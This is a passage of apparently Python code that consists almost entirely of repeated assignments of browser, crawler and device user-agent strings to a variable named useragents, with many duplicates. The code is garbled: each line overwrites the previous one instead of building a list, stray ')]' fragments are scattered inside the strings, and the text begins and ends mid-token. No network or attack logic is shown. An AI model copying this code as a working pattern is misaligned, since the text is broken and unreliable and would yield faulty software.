4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] 